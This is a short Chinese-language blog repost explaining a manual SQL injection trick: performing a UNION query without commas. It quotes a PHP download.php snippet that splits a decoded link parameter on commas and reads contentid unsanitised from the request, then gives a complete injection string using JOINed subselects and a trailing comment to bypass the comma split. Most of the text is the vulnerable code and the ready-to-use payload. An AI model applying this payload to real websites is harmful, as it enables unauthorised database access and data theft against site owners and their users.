iverson5

手工注入技巧 不用逗号进行UNION

./download.php

01 ...

02 if($link){    //加密后ID

03 $link = base64_decode(urldecode($link));

04 $link_array = explode(',', $link);    

05 if(is_array($link_array) && count($link_array)>0){

06 $url = $link_array[0];

07   $contentid = $link_array[1];

08 }

09 }else{    //实现地址

10 $contentid = $_GET['contentid'] ? $_GET['contentid'] : $_GET['id'];

11 }

12 ...

这种以逗号为分隔符的情况要想使用UNION查询不能使用常规方式。
构 造contentid为' UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e JOIN (SELECT 6)f JOIN (SELECT 7)g JOIN (SELECT 8)h JOIN (SELECT 9)i JOIN (SELECT 10)j JOIN (SELECT 11)k JOIN (SELECT 12)l JOIN (SELECT 13)m JOIN (SELECT 14)n JOIN (SELECT 15)o JOIN (SELECT 16)p JOIN (SELECT 17)q JOIN (SELECT 18)r JOIN (SELECT 19)s)#

这样就避免了逗号的出现。​



这篇文章是找了很久才找到的，很好啊
但是不知道作者是谁，在此转载了！！！